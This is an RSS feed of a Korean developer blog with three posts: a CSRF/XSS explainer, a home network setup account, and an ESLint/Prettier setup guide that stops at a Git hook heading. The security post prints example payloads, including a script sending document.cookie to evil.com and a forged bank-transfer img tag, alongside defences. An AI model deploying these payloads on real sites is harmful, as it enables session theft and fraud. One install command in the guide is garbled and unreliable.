<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>스누피의 개발로그  </title>
    <link>https://parkjbdev.tistory.com/</link>
    <description>새로운 기술에 도전하며 삽질을 즐기는 개발자의 블로그입니다  ️</description>
    <language>ko</language>
    <pubDate>Thu, 16 Apr 2026 09:20:07 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>parkjbdev</managingEditor>
    <image>
      <title>스누피의 개발로그  </title>
      <url>https://tistory1.daumcdn.net/tistory/7950803/attach/08f544cc1b5c41c3aa18b2daf14ed7f0</url>
      <link>https://parkjbdev.tistory.com</link>
    </image>
    <item>
      <title>[보안] CSRF와 XSS</title>
      <link>https://parkjbdev.tistory.com/9</link>
      <description>&lt;h1&gt;CSRF (Cross Site Request Forgery)&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 사이트에 요청&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;즉, 사용자가 의도하지 않은 요청을 특정 사이트에 전송하게 만듦&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://www.cloudflare.com/img/learning/security/threats/cross-site-request-forgery/forged-request.png&quot; alt=&quot;CSRF&quot; /&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;예시: CSRF를 이용한 무단 송금&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 사용자는 은행에 로그인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 브라우저에서 &lt;code&gt;bank.com&lt;/code&gt;에 로그인하고 쿠키로 세션 유지&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;Cookie: session=abc123secure&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 공격자가 악성 웹사이트 운영&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자는 자신이 운영하는 웹사이트 &lt;code&gt;evil.com&lt;/code&gt;에 아래와 같은 html을 숨겨둠&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;https://bank.example.com/transfer?to=attacker&amp;amp;amount=10000000&quot; /&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 사용자가 evil.com에 접속&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자는 로그인된 상태로 evil.com에 접속&lt;/li&gt;
&lt;li&gt;브라우저는 &lt;code&gt;&amp;lt;img src&amp;gt;&lt;/code&gt; 태그 자동실행&lt;/li&gt;
&lt;li&gt;요청에 쿠키를 자동으로 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 서버는 사용자의 요청으로 착각하고 송금&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버는 세션 쿠키만으로 인증된 요청이라 판단&lt;/li&gt;
&lt;li&gt;&lt;code&gt;attacker&lt;/code&gt; 계좌로 이체실행&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;방어기법&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사용자 측면&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;의심되는 링크 접속하지 않기&lt;/li&gt;
&lt;li&gt;올바른 도메인인지 확인CSRF Token&lt;/li&gt;
&lt;li&gt;서버가 폼을 렌더링할 때, 무작위로 토큰을 숨겨서 함께 보내고,&lt;/li&gt;
&lt;li&gt;사용자가 폼을 제출할 때, 이 토큰을 같이 제출&lt;/li&gt;
&lt;li&gt;서버는 사용자가 제출한 폼의 토큰이 세션에 저장된 토큰과 일치하는지 확인&lt;/li&gt;
&lt;li&gt;CSRF 토큰은 &lt;b&gt;공격자가 알 수 없는 값&lt;/b&gt;이기 때문에, 사용자가 의도적으로 보낸 요청인지를 &lt;b&gt;서버가 검증&lt;/b&gt;할 수 있음SameSite 속성&lt;/li&gt;
&lt;li&gt;크로스 사이트 요청에 쿠키를 아예 포함하지 않도록 저장속성 종류
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;b&gt;값&lt;/b&gt;&lt;/th&gt;
&lt;th&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Strict&lt;/td&gt;
&lt;td&gt;외부 사이트에서 온 모든 요청에 대해 쿠키 &lt;b&gt;전송 안 함&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lax (일반적으로 기본값)&lt;/td&gt;
&lt;td&gt;GET 요청은 허용, POST 등 민감한 요청엔 &lt;b&gt;쿠키 전송 안 함&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;모든 요청에 쿠키 전송 &amp;rarr; Secure 속성 필수, 그렇지 않으면 브라우저에서 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#### 예시&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;```&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Set-Cookie: sessionid=xyz123; SameSite=Strict; Secure; HttpOnly&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;```&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Referer / Origin 헤더 검사&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요청의 Origin 혹은 Referer 값을 확인해서 신뢰할 수 있는 출처에서 온 요청인지 판단&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;if request.headers[&quot;Origin&quot;] != &quot;https://yourdomain.com&quot;:
    return 403  # Forbidden&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;XSS (Cross Site Scripting)&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://www.cloudflare.com/img/learning/security/threats/cross-site-scripting/xss-attack.png&quot; alt=&quot;XSS&quot; /&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;XSS 종류&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;종류&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Stored XSS&lt;/td&gt;
&lt;td&gt;서버에 저장된 콘텐츠에 악성 스크립트 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reflected XSS&lt;/td&gt;
&lt;td&gt;URL 파라미터 등에 삽입된 스크립트가 응답에 그대로 반영됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DOM-based XSS&lt;/td&gt;
&lt;td&gt;클라이언트 측 JS가 악성 입력을 DOM에 반영&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Stored XSS&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;서버에 저장된 콘텐츠에 악성 스크립트 저장&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예시: 커뮤니티 사이트&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 취약한 게시판&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 글을 작성&lt;/li&gt;
&lt;li&gt;서버가 사용자의 입력을 저장할 때, &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 태그 필터링을 안 함&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 공격자가 글 작성&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자가 아래처럼 악성 사이트에서 fetch하는 스크립트를 삽입하여 게시글 작성
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;fetch(&quot;https://evil.com/steal?cookie=&quot; + document.cookie)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 다른 사용자가 그 게시글 열람&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;게시글을 선택하여 열람하기 위해 상세페이지를 열었을 때,&lt;/li&gt;
&lt;li&gt;서버가 스크립트를 그대로 응답에 포함시키고&lt;/li&gt;
&lt;li&gt;브라우저는 &lt;b&gt;이를 그대로 실행&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. 피해자 쿠키 탈취&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로그인 세션 쿠키가 그대로 공격자의 서버로 전송됨&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;방어기법&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;출력 이스케이프를 활용하여 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 같은 태그를 &lt;code&gt;&amp;amp;lt;script&amp;amp;gt;&lt;/code&gt;로 바꾸기&lt;/li&gt;
&lt;li&gt;CSP (Content Secure Policy): 외부 스크립트 차단 &amp;amp; 인라인 스크립트 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Reflected XSS&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;URL 파라미터 등에 삽입된 스크립트가 응답에 그대로 반영됨&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예시: 검색 사이트&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 사용자가 일반적으로 검색할 경우&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청: &lt;code&gt;https://search.example.com?q=hello&lt;/code&gt;&lt;br /&gt;응답: &lt;code&gt;&amp;lt;p&amp;gt;You searched for: hello&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 사용자가 비정상적으로 검색할 경우&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청: &lt;code&gt;https://search.example.com?q=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br /&gt;응답: &lt;code&gt;&amp;lt;p&amp;gt;You searched for: &amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Reference&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cloudflare.com/ko-kr/learning/security/threats/cross-site-request-forgery/&quot;&gt;Cloudflare - 교차 사이트 요청 위조란?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cloudflare.com/ko-kr/learning/security/threats/cross-site-scripting/&quot;&gt;Cloudflare - 교차 사이트 스크립팅이란?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>백엔드</category>
      <author>parkjbdev</author>
      <guid isPermaLink="true">https://parkjbdev.tistory.com/9</guid>
      <comments>https://parkjbdev.tistory.com/9#entry9comment</comments>
      <pubDate>Mon, 5 May 2025 23:26:12 +0900</pubDate>
    </item>
    <item>
      <title>홈네트워크 구성기</title>
      <link>https://parkjbdev.tistory.com/8</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;2025-03-22 00:03:22 작성&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 홈네트워크를 구성한 기념으로 구성기를 작성해보려 해요.&lt;/p&gt;
&lt;h1&gt;문제&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 네트워크 구조는 이렇게 되어 있었어요.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1050&quot; data-origin-height=&quot;830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c5t5et/btsNK9gMc0F/BZa40HMc6vbxVNKsfMfZ51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c5t5et/btsNK9gMc0F/BZa40HMc6vbxVNKsfMfZ51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5t5et/btsNK9gMc0F/BZa40HMc6vbxVNKsfMfZ51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc5t5et%2FbtsNK9gMc0F%2FBZa40HMc6vbxVNKsfMfZ51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1050&quot; height=&quot;830&quot; data-origin-width=&quot;1050&quot; data-origin-height=&quot;830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 이렇게 구성하면 각각의 공유기/허브가 다른 네트워크에 연결되어 있어 같은 집 안에서도 파일공유/프린트 등이 불편했어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 해결하고자 홈네트워크를 구성하기 시작했어요.&lt;/p&gt;
&lt;h1&gt;해결1: 모뎀 밑에 공유기 밑에 허브&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모뎀 밑에 공유기를 두고, 공유기에 허브를 연결하면 모든 기기들을 같은 네트워크로 묶을 수 있어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 단자함에 공유기를 넣으면, 무선 품질이 많이 떨어져서 다른 방법을 생각해 보았어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분의 가정에서 모뎀 밑에 둘 공유기(1번 공유기라고 할게요)를 꽂을 인터넷 단자 옆에, 전화선을 꽂는 같은 규격의 단자가 있을 거예요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전화선으로도 인터넷 연결을 해버리면 된답니다. (규격만 같은 줄 알았는데, 상관없더라고요)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;모뎀(단자함) - 1번 공유기가 있는 방의 인터넷 단자(방) - 1번 공유기 - 1번 공유기가 있는 방의 전화 단자(방) - 허브(단자함)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 설치하면 가정 내의 벽면에 있는 모든 인터넷 단자가 공유기의 단자가 되는.. 그런 효과로 같은 네트워크로 묶여요!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;...그런데 2번 공유기를 제외하고요.&lt;/b&gt;&lt;/p&gt;
&lt;h1&gt;해결2: 공유기 모드 설정&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2번 공유기는, 공유기로써의 역할을 하기 위해서, 다시 DHCP 서버에서 IP를 할당하고.. 2번 공유기의 네트워크를 만들거예요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 해결하기 위해서 공유기의 설정창에서&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;389&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVHHpr/btsNKbsTKFJ/2jzCeoq27HGv737s3INqzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVHHpr/btsNKbsTKFJ/2jzCeoq27HGv737s3INqzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVHHpr/btsNKbsTKFJ/2jzCeoq27HGv737s3INqzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVHHpr%2FbtsNKbsTKFJ%2F2jzCeoq27HGv737s3INqzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;710&quot; height=&quot;389&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;389&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 공유기 모드가 아닌 AP모드로 바꿔주면, 상위 1번 공유기의 네트워크를 그대로 중계하는 역할만 수행하게 돼요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아, 그리고 DHCP 서버도 1번 공유기만 사용하기 위해서, &lt;b&gt;2번 공유기의 DHCP는 꺼주세요!&lt;/b&gt;&lt;/p&gt;
&lt;h1&gt;해결3: 구형허브 교체&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에 아파트에 설치되어 있던 허브는 10/100Mbps 허브였어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데, 저희 집에 들어오는 회선속도는 500Mbps예요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 모뎀 밑에 설치한 공유기에서만 500Mbps 속도가 나오고, 허브를 거쳐가는 순간 100Mbps로 속도가 떨어지는 문제가 발생했어요.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b89WNN/btsNKZlaMMT/PfmI5FzttX2ofPgaPlhQ9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b89WNN/btsNKZlaMMT/PfmI5FzttX2ofPgaPlhQ9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b89WNN/btsNKZlaMMT/PfmI5FzttX2ofPgaPlhQ9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb89WNN%2FbtsNKZlaMMT%2FPfmI5FzttX2ofPgaPlhQ9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;400&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메인 1번 공유기의 속도측정&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GFeB5/btsNJZlVnw0/Zn05okTakB1i7xbRRFL3HK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GFeB5/btsNJZlVnw0/Zn05okTakB1i7xbRRFL3HK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GFeB5/btsNJZlVnw0/Zn05okTakB1i7xbRRFL3HK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGFeB5%2FbtsNJZlVnw0%2FZn05okTakB1i7xbRRFL3HK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;400&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브 2번 공유기의 속도측정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서, 1000Mbps까지도 지원하는 스위칭 허브를 새로 구매하여, 모든 포트를 연결해주고 CAT5 이하 규격의 랜케이블은 CAT5E 이상으로 교체해주었어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그랬더니 서브 공유기에서도 속도가 빨라졌답니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HMwbu/btsNJ4U6TFU/5onZ5KMEGqxuYE5fvwotfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HMwbu/btsNJ4U6TFU/5onZ5KMEGqxuYE5fvwotfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HMwbu/btsNJ4U6TFU/5onZ5KMEGqxuYE5fvwotfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHMwbu%2FbtsNJ4U6TFU%2F5onZ5KMEGqxuYE5fvwotfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;400&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브 2번 공유기 속도향상&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혹시 홈네트워크를 구성하고 속도가 느리다면, &lt;b&gt;랜케이블 버전&lt;/b&gt;, &lt;b&gt;허브 지원 속도&lt;/b&gt;를 확인해주세요!&lt;/p&gt;
&lt;h1&gt;해결4(TODO): Mesh WiFi&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 마지막 관문, &lt;b&gt;Mesh WiFi&lt;/b&gt;를 구성해서 스마트폰/노트북을 방을 옮겨가면서 이용해도 끊김없이 와이파이로 이용할 수 있도록 하고자 해요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mesh를 쉽게 구성하기 위해서는 가급적 같은 제조사의 공유기를 추천해요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 저는 아쉽게도 서로 다른 제조사의 공유기였기 때문에.. Mesh WiFi를 쓰는 &lt;b&gt;것처럼만&lt;/b&gt; 하기로 했어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 공유기의 SSID와 비밀번호를 똑같게 해주면, 자동으로 더 강한 와이파이로 연결을 바꿔주네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 완벽하게 같은 WiFi를 이용하는 것은 아니라는거..!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나중에 투자를 조금 더 한다면, 공유기를 바꿔서 해결해보기로 해요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;끝.&lt;/p&gt;</description>
      <category>네트워크</category>
      <category>네트워크</category>
      <category>삽질</category>
      <author>parkjbdev</author>
      <guid isPermaLink="true">https://parkjbdev.tistory.com/8</guid>
      <comments>https://parkjbdev.tistory.com/8#entry8comment</comments>
      <pubDate>Sat, 3 May 2025 20:18:25 +0900</pubDate>
    </item>
    <item>
      <title>NodeJS 프로젝트 초기설정: ESLint + Prettier + Husky Git hook</title>
      <link>https://parkjbdev.tistory.com/7</link>
      <description>&lt;p&gt;2025-03-20 11:17:53&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;안녕하세요.&lt;/p&gt;
&lt;p&gt;오늘은 NodeJS에 기반한 프로젝트들 (Express, React 등등)에서 사용되는 ESLint 관련 초기설정에 대해 다루려고 해요.&lt;/p&gt;
&lt;p&gt;매번 찾아보기 귀찮아서, 게시물 형태로 남겨두려고 합니다.&lt;/p&gt;
&lt;h1&gt;ESLint 설치 및 초기화&lt;/h1&gt;
&lt;p&gt;먼저, ESLint를 다음 명령어로 설치하고, 초기화해줘요.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm create @eslinhttps://t1.daumcdn.net/cfile/config/latest&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;실행하여 프로젝트에 질문들에 대답하면 이에 맞는 eslint.config.mjs 파일이 생성됩니다.&lt;/p&gt;
&lt;h1&gt;Prettier 설치&lt;/h1&gt;
&lt;p&gt;ESLint를 초기화 했다면, Prettier도 설치하고 초기설정을 해줘요.&lt;/p&gt;
&lt;p&gt;다음의 명령어로 설치해요.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm add prettier -D&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Prettier 설치 후에&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;.prettierrc 파일 생성해서, &lt;code&gt;{}&lt;/code&gt; 입력&lt;/li&gt;
&lt;li&gt;.prettierignore 파일 생성해서 무시할 파일 작성&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;하면 prettier 초기화가 완료됩니다.&lt;/p&gt;
&lt;h1&gt;ESLint + Prettier 세팅&lt;/h1&gt;
&lt;p&gt;ESLint와 Prettier를 같이 사용하면 충돌하는 세팅이 생겨요.&lt;/p&gt;
&lt;p&gt;이런 컨플릭트가 있는 세팅들을 무시해주는 역할을 담당하는 패키지들이예요.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm add eslint-config-prettier eslint-plugin-prettier -D&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/prettier/eslint-config-prettier&quot;&gt;eslint-config-prettier&lt;/a&gt;: Turns off all rules that are unnecessary or might conflict with Prettier.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/prettier/eslint-plugin-prettier&quot;&gt;eslint-plugin-prettier&lt;/a&gt;: Runs Prettier as an ESLint rule and reports differences as individual ESLint issues.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import eslintConfigPrettier from &amp;quot;eslint-config-prettier/flat&amp;quot;;

export default [
  eslintConfigPrettier,
];&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;import eslintPluginPrettierRecommended from &amp;#39;eslint-plugin-prettier/recommended&amp;#39;;

export default [
  // Any other config imports go at the top
  eslintPluginPrettierRecommended,
];&lt;/code&gt;&lt;/pre&gt;&lt;h1&gt;Git Hook&lt;/h1&gt;
